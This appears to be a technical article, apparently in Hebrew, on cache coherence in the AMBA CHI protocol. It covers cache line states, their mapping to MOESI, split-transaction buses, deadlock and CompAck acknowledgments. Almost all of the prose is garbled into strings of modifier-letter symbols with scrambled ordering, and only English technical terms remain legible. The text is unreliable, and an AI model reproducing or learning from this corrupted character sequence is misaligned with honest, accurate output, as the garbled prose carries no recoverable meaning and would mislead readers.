.˫˧˧˵ˣ˥ ˫˧˸˟ˢ ˪˩ ˣ˞ ˪˪˩˟ ˭˧˞˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ 

¶  ˭˧˧˲˞ˬEmpty: s-cache line  ˟˴ˬ˟) ˫˧˧˵ˣ˥ ˫˧˸˟ ˪˪˩˟ ˢ˪˧˩ˬ ˞˪Valid.( 
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˭˧˧˲˞ˬ Empty  

˷˩-cache line  ˞˧ˢEmpty ˟˴ˬ˟ ˸˵ˤ˥ˣˬ ˞˧ˢ ,Unique ˢ˸ˣ˞ ˪˷ ˫˧˶˥˞ ˫˧˵˸ˣ˰ ˰ˣˮˬ˪ ˧ˡ˩cache line. 

 ˫ˢ˟ ˫˧˟˴ˬcache line :˫˧˞˟ˢ ˫˧˶˵ˬˢ ˸˞ ˢˬˠˣˡ˪ ˫˧˪˪ˣ˩ ˶˴ˣˣ˧ˢ˪ ˢ˪ˣ˩˧ ˢ˵˧˶ 

¶  ˟˧˩˶requester  ˠ˧˷ˢ˪ ˢˮˣˣ˩˟ ˪ˣ˩˧cache line  ˸˞ ˸˧˥˲ˢ˪ ˢ˶˦ˬ˟ ˸˞ˤˣ ,ˢ˟˧˸˩ ˸˪˧˥˸ ˧ˮ˲˪ ˢ˵˧˶

ˢ ˣ˟˷ ˢ˶˵ˬ˟ .˸˩˶˰ˬˢ ˪˷ ˯˲ˢ ˟˥ˣ˶ ˸˩˧˶˴-requester ˢ ˸˶ˣ˷˪ ˟ˣ˸˩˪ ˭ˮ˩˸ˬ-cache ˪ˣ˩˧ ˞ˣˢ ,

˪ ˪˟˵cache line .˫˧ˬ˧˧˵ ˫˧ˮˣ˸ˮ ˪˷ ˸˧˵ˣ˥ˣ ˢ˞˪ˬ ˢ˶ˣ˷ ˪˟˵˪ ˫ˣ˵ˬ˟ ,˭ˣ˯˥˞ ˸ˣ˞˷˶ˢ ˫˰ ˢ˵˧˶ 

¶  ˟˧˩˶requester ˢ ˸˶ˣ˷ ˪˷ ˵˸ˣ˰˟ ˶˟˩ ˵˧ˤ˥ˬ˷-cache  ˸˷˵˟˸ˬ ˶˷˞˩ ˵˧˶ ˟˴ˬ˪ ˶ˣ˟˰˪ ˪ˣ˩˧

) ˧˵ˣ˥ ˞˪ ˢ˧ˢ˧ ˣ˧ˡ˧˟˷ ˵˸ˣ˰ˢ .˭ˣ˯˥˞ ˸˞˷˶ˢinvalidˢ˷ ˡ˰ (-requester  .˭ˣ˯˥˞ ˸˞˷˶ˢ ˪˟˵˧

 ˢ˷˵˟ ˶˷˞˩ˢ ,˫˪˷ˣ˸ ˣˤ-requester ˟ ˵˧ˤ˥ˢ˪ ˪˩ˣ˧-cache line .˭ˣ˯˥˞ ˸ˣ˞˷˶ˢ ˫˰ ˢ˵˧˶ 

 ˧˟˴ˬCache line  

 ˟˴ˬInvalid  

-scache line ˟ ˸ˬ˧˧˵ ˞˪-cache. 

 ˟˴ˬUnique Dirty  

-scache line ˧˵˟ ˵˶ ˸ˬ˧-cache ˢ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˸˪˰˟ ˞˧ˢˣ ,ˡ˟˪˟ ˢˤˢ-cache 

ˢ ˸˞ ˵˧ˤ˥ˬ˷-cache line .ˢ˟˧˸˩ ˸ˣ˞˷˶ˢ ˣ˪ ˷˧ ˶˟˩ˣ ,ˢ˟ ˵˧ˤ˥ˬ˷ ˡ˧˥˧ˢ ˞ˣˢ ˧˩ ˢ˟˧˸˩ ˰˴˟˪ ˪ˣ˩˧ 

 ˸˷˵˟˟snoopˢ ,-cache ˢ ˸˞ ˶˧˟˰ˢ˪ ˨˧˶˴-cache line ˪-requester  ˪˷ ˟˴ˬˢ ˸˞ ˸ˣˮ˷˪ˣ ,˷˵˟ˬˢ

-scache line  ˫˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˫˧ˮˣ˸ˮˢ ˸˞ ˟ˣ˸˩˪ ˫ˠ ˧˪ˣ˞ˣ) ˫˞˸ˢ˟˸˷˵˟ s-snoop .(ˢˤ ˸˞ ˸˷˶ˣˡ 

 ˟˴ˬUnique Dirty Partial  

-scache line ˟ ˸ˬ˧˧˵ ˣˤˢ-cache  ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˸˪˰˟ ˞˧ˢˣ ,ˡ˟˪˟ ˢˤˢ

.˫˪ˣ˩ ˸˞ ˣ˞ ˡ˥˞ ˱˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˫˵˪˥˷˩ ,˫˧˧˵ˣ˥ ˫˧˸˟ ˢˬ˩ 

ˢ˷ ˶˥˞˪-requester  ˪˰ ˸ˣ˪˰˟ ˪˟˵ˬcache line ˟ ˫˧ˮˣ˸ˮ ˭˯˥˞˪ ,˟˧ˣ˥ˬ ˣˮ˧˞ ˨˞ ,˧˞˷˶ ˞ˣˢ ,ˢ˵˧˶-

cache lineˢ ˫˞ .-requester ˢ ˧ˮˣ˸ˮˬ ˵˪˥ ˱˧˪˥ˬ-cache line ˶˞˷˧˸  ˟˴ˬ˟Unique Dirty Partial .

ˢ ,˶ˬˣ˪˩-cache line .˧ˣˮ˧˷ ˣ˶˟˰˷ ˫˧˧˵˪˥ ˫˧ˮˣ˸ˮ ˪˧˩˸ 

 ˸˷˵˟˟ ,˭˩˪ .˰ˣ˟˵ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˞˪ˣ ˧˦˶˲ˣ ˧ˮˬˤ ˟˴ˬ ˞ˣˢ ˢˤˢ ˟˴ˬˢsnoopˢ ˸˞ ˶˧˟˰ˢ˪ ˭˸˧ˮ ˞˪ ,-cache 

line ˪-requester  ˶˧˟˰ˢ˪ ˧ˡ˩ ˰ˡ˧ˬ ˣ˪ ˶˯˥ ˧˩ ,˷˵˟ˬˢcache line ˴ˣ ,ˢ˞˪ˬ ˸ˣ˧˴˵ˤˮ˶˦ ˰˴˟˪ ˨˧˶

 ˞ˣˢ ˢˤ˩ ˨˧˪ˢ˸˪ ˢˬˠˣˡ .˞˪ˬˢ ˰ˡ˧ˬˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ ,˧˦ˮˣˣ˪˶ˢ ˰ˡ˧ˬˢ ˶˞˷ ˸˞ ˪˟˵˪ ˧ˡ˩ ˸ˣˬ˧˞˸ˬ

˶˷˞˩ s-cache line ˢˬ ˫˧ˮˣ˸ˮ ˠˤˬ˪ ˷˧ ,ˢˮˣ˲ˬ-cache ˢ ˫˰ ,ˢ˞˟ˢ ˢˬ˶˟ ˭ˣ˶˩˧ˤˢ ˣ˞-cache line 

ˢ ˸˶ˣ˷ ˸˞ ˶ˣ˴˧˪ ˧ˡ˩ ˢˮˣ˲ˬ˷-cache .ˢ˞˪ˬˢ ˢˮ˧˵˸ˢ 
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 ˟˴ˬShared Dirty  

-scache line ˢ˷ ˭ˣˣ˧˩ˬ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˸˪˰˟-cache line ) ˸˲˸ˣ˷ˬShared ˭˩˸˧˧ ,(

˟ ˸ˬ˧˧˵ ˞˧ˢ˷-cache  ˫˞ .˥˦˟ˣˬ ˞˪ ˢˤ ˪˟˞ ,˶˸ˣ˧ ˣ˞ ˡ˥˞ ˧ˬˣ˵ˬ-scache line  ˶˲˯ˬ˟ ˸ˬ˧˧˵cache-

ˢ ,˫˧-cache-˟ ˣˤ ˢ˶ˣ˷ ˧˪˰˟ ˣ˧ˢ˧ ˣ˪˞ˢ ˫˧-Shared Clean. 

 ˟˴ˬUnique Clean  

-scache line ˧ˢˣ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˸˪˰˟ ˞˪˟ ˵˶ ˸ˬ˧˧˵ ˞-cache  ˭˸˧ˮ .ˡ˧˥˧ ˧ˬˣ˵ˬ

 ˰ˡ˧˧˪ ˧˪˟ˬ ˣ˸ˣ˞ ˸ˣˮ˷˪cache-.˫˧˶˥˞ ˫˧ 

 ˟˴ˬUnique Clean Empty  

-scache line ˟ ˵˶ ˸ˬ˧˧˵-cache ˢ ˸˞ ˸ˣˮ˷˪ ˭˸˧ˮ .˧˵ˣ˥ ˫˧˸˟ˢˬ ˡ˥˞ ˱˞ ˨˞ ,ˢˤˢ-cache line  ˧˪˟ˬ

˪ ˰˧ˡˣˢ˪-cache-.˫˧˶˥˞ ˫˧ 

 ˟˴ˬShared Clean  

-scache line ˟ ˸˵ˤ˥ˣˬ ˸ˣ˧ˢ˪ ˢ˧ˣ˷˰-cache  ˣ˞ ˡ˥˞ ˧ˬˣ˵ˬˢ˷ ˭˩˸˧˧ .˶˸ˣ˧-cache line  ˯˥˧˟ ˢ˸ˮ˸˷ˢ

 ˨˞ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪cache .˧ˣˮ˧˲ ˸˰˟ ˭ˣ˶˩˧ˤ˪ ˢ˶ˤ˥ ˢ˶ˣ˷ˢ ˸˟˧˸˩˪ ˧˞˶˥˞ ˣˮ˧˞ ˢˤ 

 ˭˧˟ ˧ˣ˲˧ˬMOESI ˪-AMBA CHI  

 ˪˷ ˢ˩˧ˬ˸ ˷˧AMBA CHI ˟-MOESI ˞˪ˣ ,˫ˮ˧˥˟ ˧ˡ ˢ˰˧ˠˢ ˢ˩˧ˬ˸ˢ ,ˢ˞˟ˢ ˢ˪˟˦˟ ˸ˣ˞˶˪ ˶˷˲˞˷ ˣˬ˩ˣ ,

ˢ˩˧ˬ˸ˢ ˸˞ ˶˷˲˞˪ ˸ˮˬ ˪˰ ˫˧˧ˣˮ˧˷ ˸ˣ˷˰˪ ˨˶ˣ˴ ˢ˧ˢ: 

MOESI AMBA 

Modified UniqueDirty 

Owned SharedDirty 

Exclusive UniqueClean 

Shared SharedClean 

Invalid Invalid 

 .˸˩˶˰ˬ˟ ˭ˬ˴˰ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ ˶˸ˣ˧ ˢ˥ˣˮ ˸˞ˤˢ ˢ˷˧ˠˢ ,˧˸˰ˡ ˧˲˪˫ˣ˷ˬ ˷ ˸˶ˤ˰˟AMBA 

ˢ˷ ˫˧˟˴ˬˢ ˪˷ ˸ˣˬ˷ˢ ˭˧˟ ˵ˣˡˢ ˶˷˵ ˷˧-cache line ˟ ˸˞˴ˬˮ˫ˢ ˸ˣ˷˥˶˸ˬ˷ ˸ˣ˧˴˵ˮ˶˦ˢ ˭˧˟˪ ,

.˸˩˶˰ˬ˟ 

˸ˣ˧˴˵ˤˮ˶˦ ˟-AMBA CHI  

 ˭˧˟ ˢ˲˧˪˥ˬ ˸˩˶˰ˬˢ˷ ˸ˣ˰ˡˣˢ ˸˴ˣ˟˵ ˞˧ˢ ˢ˧˴˵ˤˮ˶˦node-ˬ ˢ˰˧ˠˬ˷ ˢ˷˵˟ ˫˧˪˷ˢ˪ ˧ˡ˩ ˫˧-node 

.ˣˢ˷˪˩ 

 ˸ˣ˟ˣˠ˸In order  ˸ˬˣ˰˪Out-of order  

 ˪˷ ˫˧˧ˤ˩˶ˬˢ ˸ˣˮˣ˶˸˧ˢ ˡ˥˞bus pipeline  ˭˲ˣ˞˟ ˸ˣ˷˵˟˟ ˪˲˦˪ ˸˪ˣ˩˧ˢ ˞ˣˢ ,˧ˬˣ˦˞ ˭˲ˣ˞˟ ˪˰ˣ˲ ˣˮ˧˞˷

˴˶˪ ˶˷˲˞ˬ ˢˤ ˢˮ˟ˬ .˸ˬˡˣ˵ ˢ˷˵˟˪ ˢ˟ˣˠ˸ ˸ˬ˪˷ˢ˪ ˭˧˸ˬˢ˪ ˨˶ˣ˴ ˞˪˪ ,˱˧-bus  ˫˧˟˞˷ˬˢ ˸˞ ˪˴ˮ˪
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ˢ ˶˲˯ˬ ˸˞ ˪˧ˡˠˢ˪ ˧˪˟ˬ ˸˞ˤ ˪˩ ,˶˸ˣ˧ ˢˣ˟ˠ ˯˲ ˟˥ˣ˶ ˠ˧˷ˢ˪ˣ ˶˸ˣ˧ ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˫˧˲˸ˣ˷ˬˢ-thread- ˫˧

˧ ˸˟˩˶ˣˬ˪ ˸˩˲ˣˢ ˢ˪˞˩ ˫˧˞ˮ˸˟ ˸ˣ˧ˬˣ˦˞ ˸ˣ˧˴˵ˤˮ˶˦ ˸˧˧ˮ˟ ,˸˞ˤ ˫˰ .˫˧˲˯ˣˮ ˫˧˟˞˷ˬ ˱˧˯ˣˢ˪ ˣ˞ ˶˸ˣ

 ˢ˪ˣ˰˲ ˪˥˸˷ ˧ˮ˲˪ ˫˧˧˸˯˸ ˫˧ˣ˯ˬ ˵ˣ˪˟ ˪˰ ˢ˪ˣ˰˲ ˪˩ ˧˩ ˢ˥˧˦˟ˬ ˸˧ˬˣ˦˞ ˢ˧˴˵ˤˮ˶˦ .(˸˧˶˷˲˞ ˭˧˧ˡ˰ ˨˞)

.˫˧ˮˣ˷ ˫˧˵ˣ˪˟ ˶ˣ˟˰ ˢ˥˦˟ˢˢ ˢ˸ˣ˞ ˸˞ ˫˧˧˵˪ ˢ˟ˣ˥ ˭˧˞ ˫˪ˣ˞ ,˵ˣ˪˟ˢ ˣ˸ˣ˞ ˪˰ ˢ˷ˡ˥ 

 ˫ˣ˷˧˧˪ ˸˥˞ ˢ˷˧ˠbus ) ˸ˣ˪˴ˣ˲ˬ ˸ˣ˧˴˵ˤˮ˶˦˟ ˷ˣˬ˧˷ ˞˧ˢ ,˧ˬˣ˦˞ ˣˮ˧˞˷split-transaction˟ .(-bus 

pipeline˟ ˨˞ ,˸ˣ˷˵˟ˢ ˣ˪˟˵˸ˢ ˣ˟˷ ˶ˡ˯ˢ ˣ˸ˣ˞˟ ˡ˧ˬ˸ ˸ˣ˥˪˷ˮ ˸ˣ˷˵˟˪ ˸ˣ˟ˣˠ˸ˢ ,-split-transaction 

bus.˸ˣ˷˵˟ˢ ˣ˪˟˵˸ˢ ˣ˟˷ ˢˤˬ ˢˮˣ˷ ˶ˡ˯˟ ˰˧ˠˢ˪ ˸ˣ˧ˣ˷˰ ˸ˣ˷˵˟˪ ˸ˣ˟ˣˠ˸ˢ , 

 ˪ˣ˵ˣ˦ˣ˶˲AMBA CHI ) ˸ˣ˪˴ˣ˲ˬ ˸ˣ˧˴˵ˤˮ˶˦ ˫˰ ˡ˟ˣ˰split-transaction(: 

 

[Split-Pipelined-transactions from A Primer on Memory Consistency and Cache Coherence Second Edition (pages.cs.wisc.edu)] 

 

 ˪˷ ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧bus  ˸ˣ˧˴˵ˤˮ˶˦ ˪˴ˣ˲ˬ 

 ˪˷ ˧˶˵˧˰ˢ ˭ˣ˶˸˧ˢbus  ˸ˬˣ˰˪ ˸ˣ˧˴˵ˤˮ˶˦ ˪˴ˣ˲ˬbus pipeline ˵˲˯˪ ˸˩˶˰ˬ˪ ˶˷˲˞ˬ ˞ˣˢ˷ ˨˩˟ ˞ˣˢ ,

 ˢ˷˵˟ ,ˢˬˠˣˡ˪ .˶˸ˣ˧ ˸ˣ˩ˣ˶˞ ˸ˣ˧ˢ˷ˢ ˸ˣ˪˰˟ ˸ˣ˟ˣˠ˸˪ ˭˧˸ˬˢ˪ ˧˪˟ˬ ,˶˸ˣ˧ ˸ˣ˶˴˵ ˸ˣ˧ˢ˷ˢ ˫˰ ˸ˣ˟ˣˠ˸м 

˟ ˞˴ˬˮ ˣˮ˧˞˷ ˵ˣ˪˟˪ ˸˯˥˧˧˸ˬ-cache ˢ˷˵˟ ˡˣ˰˟ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˷˧ˠ ˟˧˧˥ˬ ˭˩˪ˣ ,н  ˵ˣ˪˟˪ ˸˯˥˧˧˸ˬ

˟ ˞˴ˬˮ ˶˟˩˷-cache ˤ˞ .pipeline bus ˪˞ˬ ˢ˧ˢ ˢ˷˵˟˪ ˢ˟ˣˠ˸ˢ ˸˞ ˳н  ˪ˣ˲˧˦ˢ ˸ˬ˪˷ˢ˪ ˡ˰ ˭˧˸ˬˢ˪

 ˢ˷˵˟˟м˟ ,˸˞ˤ ˸ˬˣ˰˪ .˫˧˰ˣ˴˧˟˟ ˟ˣ˩˧˰ ˶˴ˣ˧ ˢ˧ˢ ˢˤ ˟˴ˬ .-split-transaction bus ˢ˷˵˟˪ ˢ˟ˣˠ˸ˢ ,н 

 ˢ˷˵˟˪ ˢ˟ˣˠ˸˟ ˸ˣ˪˸ ˞˪˪ ,ˡ˧ˬ ˥˪˷˧ˢ˪ ˢ˪ˣ˩˧м.˶˸ˣ˧ˬ ˟ˣ˩˧˰ ˰ˮˬˮ ˨˩˟ˣ , 

 ˫ˣ˷˧˧˟ ˫˧˶ˠ˸˞bus  ˸ˣ˧˴˵ˤˮ˶˦ ˪˴ˣ˲ˬ 

ˬ ˶˷˞˩ ˢ˰˧˲ˣˬ˷ ˸˧ˤ˩˶ˬ ˢ˧˰˟˟ ˫˧˷ˬ˸˷-bus  ˸ˣ˷˵˟˪ ˸ˣ˟ˣˠ˸ˢ ˸ˬ˞˸ˢ˟ ˨˶ˣ˴ˢ ˞˧ˢ ,˪˴ˣ˲ˬ

˟ .˸ˣˬ˧˞˸ˬˢ-bus  ˦˷˲ˬ˷ ˶˟ˡ ,ˢ˪˟˵˸ˢ˷ ˢˮˣ˶˥˞ˢ ˢ˷˵˟˪ ˫˧˞˸˸ ˡ˧ˬ˸ ˢˮˣ˶˥˞ˢ ˢ˟ˣˠ˸ˢ ,˧ˬˣ˦˞

˟ .˸ˣ˟ˣˠ˸ˢ ˪ˣˢ˧ˮ ˸˞-pipeline bus ˧ˡ˩ ˢˮ˰ˬ˪ ˸ˣˮ˧˸ˬˬ˷ ˸ˣ˷˵˟ˢ ˶˲˯ˬ ˶˥˞ ˟ˣ˵˰˪ ˨˧˶˴ ˷˵˟ˬˢ ,

˟ ,˸˞ˤ ˫˰ .ˢˮˣ˩ˮˢ ˢ˷˵˟˪ ˢ˟ˣˠ˸ ˫˧˞˸ˢ˪-bus  ˰ˡ˧ˬ ˢ˟ˣˠ˸ ˪˩˪ ˱˶˴˪ ˸˟˧˧˥ ˸˩˶˰ˬˢ ,˪˴ˣ˲ˬˢ ˭˧˧˴ˬ

 ˫˧˟˴ˬ˟ ˪ˣ˟˪˟ ˰ˣˮˬ˪ ˧ˡ˩ˣ ,ˢˮˣ˩ˮˢ ˢ˷˵˟˪ ˰˧ˠ˸ ˢ˟ˣˠ˸ˢ˷ ˥˧˦˟ˢ˪ ˧ˡ˩ ,˷˵˟ˬˢ ˣ˞ ˢ˷˵˟ˢ ˸ˣˢˤ ˸˞

.˸ˣ˷˵˟ˢ ˣ˥˪˷ˮ ˣ˟˷ ˢˤˬ ˢˮˣ˷ ˶ˡ˯˟ ˸ˣ˪˟˵˸ˬ ˸ˣ˟ˣˠ˸ˢ ˫ˢ˟˷ 
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 ˟˴ˬ ˫˰ ˸ˣˡˡˣˬ˸ˢDeadlock  ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟ 

 ˫˰ ˸ˣ˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲˟cache ˪˷ ˟˴ˬ ˶˴ˣˣ˧ˢ˪ ˪ˣ˩˧ ,deadlock ˭˧˟ ˸˧˪ˠ˰ˬ ˸ˣ˪˸ ˷˧ ˶˷˞˩ ,

 ˟˞˷ˬ ˱˞ ˨˩ˣ ,˨˧˷ˬˬ ˞ˣˢ˷ ˧ˮ˲˪ ˣ˸ˡˣ˟˰ ˸˞ ˫˧˧˯˧˷ ˶˥˞ ˟˞˷ˬ˪ ˭˧˸ˬˬ ˟˞˷ˬ ˪˩ ,˶ˬˣ˪˩ .˫˧˟˞˷ˬ

˪˞˩ ˫˧˷˧˥˶˸ .˫ˡ˵˸ˢ˪ ˪ˠˣ˯ˬ ˞˪ x˩˶˰ˬ ˪˷ ˸ˣˮˣ˷ ˸ˣˬ˶ ˶˲˯ˬ˟ ˷˥˶˸ˢ˪ ˫˧˪ˣ˩˧ .˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸

˪ ˸ˣ˷˵˟ ˫˧˥˪ˣ˷ ˫˧ˡ˟˰ˬ ˧ˮ˷ ˢ˟˷ ˸˩˶˰ˬ˟ ,ˢˬˠˣˡ˪-cache  ˪˷ ˟˴ˬ ,˧ˮ˷ˢ ˪˷ ˡ˥˞deadlock  ˷˥˶˸˧

 ,˱˯ˣˮ˟ .ˣ˪˷ ˢ˷˵˟ˢ ˸˞ ˡ˟˰˪ ˪ˣ˩˧ ˞ˣˢ˷ ˧ˮ˲˪ ˧ˮ˷ˢˬ ˢ˟ˣˠ˸˪ ˭˧˸ˬˬ ˫˧ˡ˟˰ˬˢˬ ˡ˥˞ ˪˩ ˫˞deadlock 

 ˟˵˰ ˫ˠ ˫˶ˠ˧ˢ˪ ˪ˣ˩˧buffering  ˸˧˧˩˶˶˧ˢ˟ ˭˞ˣ˪ˬ˟ ˸ˣˡ˟ˣ˰ˬ ˞˪˷ ˸ˣ˰ˡˣˢ ˪˷-scache  ˸˷˶˟ ˭ˡˣ˟˧˰˟ ˣ˞

.˫˧˟˧˩˶ˢ ˭˧˟ ˸˶ˣ˷˵˸ˢ 

 ˨˩ ,ˢ˟ˣˠ˸ˢ ˸ˣ˰ˡˣˢ˪ ˢ˷˵˟ˢ ˸ˣ˰ˡˣˢ ˪˷ ˸˶ˣ˷˵˸ˢ ˧˟˧˸ˮ ˭˧˟ ˢˡ˶˲ˢ ˞ˣˢ ˢˤ ˟˴ˬ ˸˰˧ˮˬ˪ ˳ˣ˲ˮ ˭ˣ˶˸˲

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˣˬ˩) ˫˧ˮˣ˷ ˫˧˧˪˞ˣ˦˶˧ˣ ˫˧˟˧˸ˮ˟ ˣ˞ ˡ˶˲ˮ ˧ˠˣ˪ ˳ˣ˶˰˟ ˷ˬ˸˷˧ ˫ˢˬ ˡ˥˞ ˪˩˷AMBA CHI . (

˷˞˩ ˸ˣˬ˶ˠˮ˷ ˸ˣˬ˧˯˥ ˸˰ˮˣˬ ˣˤ˩ ˢˡ˶˲ˢ ˨˩˟ˣ ,˳ˣ˶˰ ˣ˸ˣ˞˟ ˣˤ˪ ˣˤ ˸ˣˮ˧˸ˬˬ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˧ˮ˷ˬ ˸ˣ˰ˡˣˢ ˶

 ˪˷ ˟˴ˬ ˰ˮˬˮdeadlock ˸ˣ˧˟˵˰ ˶˯ˣ˥ ˶˴ˣˣ˧ˢ˪ ˪ˣ˪˰ ,˸˶ˣ˷˵˸ˢ ˧˟˧˸ˮ˟ ˢˡ˶˲ˢ ˷˧ ˶˷˞˩ ,˸˞ˤ ˫˰ .

 ˷ˣˬ˧˷ ˣˬ˩ ,˫˧˲˯ˣˮ ˸ˣˮˣ˶˸˲ ˨˧˶˴ˬ˷ ˶˟ˡ ,ˡ˰˧ ˸ˡˣ˵ˮ˪ ˶ˣ˵ˬ ˸ˡˣ˵ˮ ˢ˸ˣ˞ˬ ˸ˣ˰ˡˣˢˢ ˸˰ˠˢ ˶ˡ˯˟

ˤˮ˶˦˟ ˣ˞ ,˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ˟˵˸ˣ˧˴ .˸˶ˣ˷˵˸ˢ ˸ˣ˪ˣ˰˲ ˪˷ ˧ˮˣ˧ˠˢˣ ˡ˧˥˞ ˶ˡ˯ ˥˧˦˟ˢ˪ ˧ˡ˩ ,˶ˣˡ˧˯ ˧ˮ˧˧˲˞ˬ ˫˰ 

) ˢˬ˪˷ˢ ˶ˣ˷˧˞Completion acknowledgment - CompAck ( 

-sCompAck  ˭˸˧ˮ ,ˢˤ ˶ˣ˷˧˞ ˸ˣ˰˴ˬ˞˟ .˸˩˶˰ˬ˟ ˸ˣ˧˴˵ˤˮ˶˦ˢ ˸ˬ˪˷ˢ ˶ˡ˯ ˸˞ ˥˧˦˟ˬˢ ˭ˣˮˠˮˬ ˞ˣˢ

ˢ ˧ˡ˧ ˪˰ ˣ˵˲ˮˣˢ˷ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˧˯˥˧ˢ ˶ˡ˯˟ ˦ˣ˪˷˪-Requesterˢ ˸ˣ˧˴˵ˤˮ˶˦ ˭˧˟ˣ ,-Snoop ˸ˣˬ˶ˠˮˢ ,

 ˸˧˴˵ˤˮ˶˦˷ ˥˧˦˟ˬ ˭ˣˮˠˮˬˢ .˸ˣˮˣ˷ ˸ˣ˷˵˟ ˧ˡ˧ ˪˰Snoop ˸˶ˡˣ˯ˬ˷ ˢˬ ˢ˧˴˵ˤˮ˶˦ ˶˥˞˪-Requester ,

.ˢ˧˴˵ˤˮ˶˦ˢ ˸˟ˣˠ˸ ˶˥˞˪ ˪˟˵˸ˢ˪ ˸˥˦˟ˣˬ 

 ˸˧˧˴˵ˤˮ˶˦ ˣ˟˷ ˶ˡ˯ˢRead  ˶ˣ˷˧˞ ˥˪˷ˮˣ ˸ˬ˪˷ˣˬCompAck :˭ˬ˵˪ˡ˩ ˞ˣˢ 

мΦ s-Requester  :˸ˣ˞˟ˢ ˸ˣ˰ˡˣˢˢˬ ˸˥˞ ˪˟˵ˬComp ,RespSepData ˣ˞ ,CompData ˸˪˟˵ ˶˥˞˪ ˣ˞ ,

 ˪˷ ˟ˣ˪˧˷RespSepData x- DataSepResp. 

нΦ s-Requester  ˥˪ˣ˷CompAck. 

оΦ s-Home  ˸˪˟˵˪ ˭˧˸ˬˢ˪ ˟˧˧˥CompAck ˸˷˵˟ ˸˥˧˪˷ ˧ˮ˲˪ ,Snoop .˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˸˲˯ˣˮ 

ˢ˷ ˥˧˦˟ˬ ˢˤ ˶ˡ˯-Requester  ˸˷˵˟ˣ ˢ˧˴˵ˤˮ˶˦ ˸ˬ˪˷ˢ ˪˟˵˧Snoop ˢ ˪˷ ˸˟ˣ˸˩ ˢ˸ˣ˞˪-cache line 

ˢ ˧ˡ˧ ˪˰ ˣ˥˪˷ˮ ˫ˢ ˣ˟˷ ˶ˡ˯ˢ ˣ˸ˣ˞˟-Home˟ ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˪ ˸ˣ˪ˣ˰˲ˢ˷ ˥˧˦˟ˬˣ ,-cache  ˣ˰˴˟˸˧

.˭ˣ˩ˮˢ ˶ˡ˯˟ 
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˪ ˶˷˞˩-Requester  ˶ˣ˷˧˞˟ ˸˷ˬ˸˷ˬˢ ˢ˪˧˰˲ ˢ˧˴˵ˤˮ˶˦ ˷˧CompAck ˶˲˯ˬ ˪˷ ˫˧˶˵ˬ˟ ˦˰ˬ˪) ,

 ˣˬ˩ ˸ˣ˧˲˧˴˲˯ ˸ˣ˧˴˵ˤˮ˶˦ReadNoSnp ˸˧˧˴˵ˤˮ˶˦˷ ˥˦˟ˣˬ ,(Snoop  ˭ˬˤˢ ˭˧˟ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˥˪˷˧˸ ˞˪

ˢ ˪˟˵˸ˬ ˣ˟˷-CompAck ˢ ˣ˟˷ ˭ˬˤˢ ˭˧˟˪-CompAck .˥˪˷ˮ 

˟ ˷ˣˬ˧˷-CompAck  ˢˡ˷ ˧˲˪ ˰˟˵ˮ ˢ˧˴˵ˤˮ˶˦ ˶ˣ˟˰ExpCompAck ˢ ˧ˡ˧ ˪˰ ˰˟˵ˮ˷-Requester  ˢ˷˵˟˟

.˸˧˶ˣ˵ˬˢ 

 ˸˩˶˰ˬ˟ ˢ˧˴˵ˤˮ˶˦ ˪˩ ˞˪˷ ˭˧˧˴˪ ˟ˣ˷˥CHI  ˸˰ˡˣˢ ˸˷˶ˣˡCompletion Acknowledgment. 

 ˶ˡ˯ˢ ˪˰ ˢ˶˧ˬ˷˪ ˸ˣ˧˴˵ˤˮ˶˦ ˸˶˧˴˰ 

ˢ ˧˸ˬ˴-HN-F ˶ˡ˯˟ ˦ˣ˪˷˪ ˫˧˪ˣ˩˧  ˫˞ ,˪˷ˬ˪ .˸ˣˬ˧ˣ˯ˬ ˸ˣ˧˴˵ˤˮ˶˦ ˸˶˧˴˰ ˧ˡ˧ ˪˰ ˸˩˶˰ˬ˟ ˸ˣ˧˴˵ˤˮ˶˦ˢ

) ˰ˣ˴˧˟˟ ˢ˧˴˵ˤˮ˶˦ ˸ˬ˧˧˵ ˶˟˩outstanding ˪˰ ˸˪˰ˣ˲˷ (cache line ˣ ,˸ˬ˧ˣ˯ˬ-Requester  ˵˧˲ˮˬ ˶˥˞

 ˸˪ˣ˰˲˪ ˢ˪˧˟ˣˬ˷ ˢ˷ˡ˥ ˢ˧˴˵ˤˮ˶˦snoop  ˸˶ˣ˷ ˢ˸ˣ˞˪cacheˢ ,-HN-F  ˢ˧˴˵ˤˮ˶˦ˢ ˸˞ ˸ˣˢ˷ˢ˪ ˪ˣ˩˧

˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ˸˶˥ˣ˞ˬˢ .˶ˡ˯ˢ 

